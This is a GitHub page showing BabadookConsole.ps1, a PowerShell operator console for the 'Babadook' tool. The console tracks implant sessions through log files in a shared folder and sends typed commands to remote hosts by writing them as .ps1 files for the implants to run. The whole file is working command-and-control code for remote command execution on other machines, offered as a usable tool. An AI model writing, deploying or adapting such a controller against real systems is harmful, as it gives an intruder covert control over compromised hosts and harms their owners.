-
Notifications
You must be signed in to change notification settings - Fork 59
/
BabadookConsole.ps1
177 lines (124 loc) · 10.4 KB
/
BabadookConsole.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
####################################
## Babadook Console Configuration ##
####################################
$SharePath = "Y:\Path\To\Shared\Folder"
###################
## Internal Vars ##
###################
$Global:ClientSessions = @{}
$Global:Running = $true
####################
## Util functions ##
####################
Function Check-Sessions {
If (@($Global:ClientSessions.Keys).Count -ge 1) {
Try {
# Check dead sessions
Foreach ($S in $Global:ClientSessions.GetEnumerator()) {
$SessionEntry = $S.Value
If (-Not (Test-Path "$($SharePath)\$($SessionEntry.filename)")) {
$Global:ClientSessions.Remove($S.Key)
}# end :: If
}# end :: Foreach
} Catch {
# Nothing... silently ignore
}# end :: Try
}# end :: if
# Check new sessions
Get-ChildItem $SharePath -Filter "babadook.*.*.log" | Where-Object { $_.Attributes -ne "Directory"} | ForEach-Object {
$parts = [regex]::match($_.Name, "babadook\.(.*)\.(\d+)\.log").Groups
$ClientHostname = $parts[1].Value
$ClientPID = $parts[2].Value
$UniqueKey = "$($ClientHostname)$($ClientPID)"
$SessionProps = @{
"hostname" = $ClientHostname
"pid" = $ClientPID
"filename" = $_.Name
"cursor" = 0
}
If (-Not ($Global:ClientSessions.Keys -Contains $UniqueKey)) {
$Global:ClientSessions[$UniqueKey] = $SessionProps
Write-Output "[*] New session added at host $($ClientHostname) with pid $($ClientPID)"
}# end :: if
}# end :: Foreach-Object
}# end :: Check-Sessions
Function List-Sessions {
Check-Sessions
Write-Output "Babadook sessions registered: "
Write-Output "==============================================================================="
If (@($Global:ClientSessions.Keys).Count -lt 1) {
Write-Output "- No sessions available"
} Else {
$Index = 1
Foreach ($SessionEntry in $Global:ClientSessions.GetEnumerator()) {
$SessionValue = $SessionEntry.Value
$LastTime = $(Get-Item "$SharePath\$($SessionValue.filename)").LastWriteTime
"[$($Index)] $($SessionValue.hostname)`t$($SessionValue.pid)`t$($LastTime)"
$Index += 1
}# end :: Foreach
}# end :: if
}# end :: List-Sessions
Function Interact-Session ($sid) {
Check-Sessions
$SessionCount = @($Global:ClientSessions.Keys).Count
$SessionIndex = [int] $sid-1
If ($SessionIndex -lt 0 -Or $SessionIndex -ge $SessionCount) {
Write-Output "Invalid session index"
return
}# end :: if
$SessionKey = @($Global:ClientSessions.Keys)[$SessionIndex]
$SessionEntry = $Global:ClientSessions[$SessionKey]
$Command = $null
"Interacting with session [$sid] on $($SessionEntry.hostname) with pid $($SessionEntry.pid)"
While ($Command -ne "quit") {
If (-Not (Test-Path "$SharePath\$($SessionEntry.filename)")) {
Write-Output "[!] Current session died. Quitting session handler"
Break
}# end :: if
$Content = Get-Content "$SharePath\$($SessionEntry.filename)"
$Content | select -skip $SessionEntry.cursor
$SessionEntry.Cursor = [int] $($Content | Measure-Object –Line).Lines
$Command = Read-Host "Babadook [$sid ($($SessionEntry.hostname)|$($SessionEntry.pid))] ('quit' to go back)>"
If ($Command -And $Command -ne "quit") {
$OutFile = "cmd.$($SessionEntry.hostname).$($SessionEntry.pid).ps1"
$Command | Out-File -FilePath "$($SharePath)\$($OutFile)"
"`"$Command`" sent to session $($sid)"
}# end :: If
}# end :: while
}# end :: Interact-Session
Function Read-Command {
$CommandLine = Read-Host "Babadook> "
$CommandParts = $CommandLine.Split(" ")
if ($CommandParts -is [system.array]) {
$Command, $Args = $CommandParts
} else {
$Command = $CommandLine
$Args = $null
}# end :: if
Switch ($Command) {
"list" { List-Sessions }
"interact" { Interact-Session $Args }
"quit" { $Global:Running = $false }
"help" { Show-Help }
default { Write-Output "Invalid command" }
}# end :: Switch
}# end :: Read-Command
Function Show-Help {
Write-Output "Available commands: `n"
Write-Output "Command`t`t`tDescription"
Write-Output "======================================"
Write-Output "list`t`t`tShow available sessions"
Write-Output "interact <n>`tInteract with session"
Write-Output "quit`t`t`tExit console"
Write-Output "`n"
}# end :: Show-Help
###############
## Main Code ##
###############
Function Main {
while ($Global:Running) {
Check-Sessions
Read-Command
}# end :: while
}# end :: Main
Main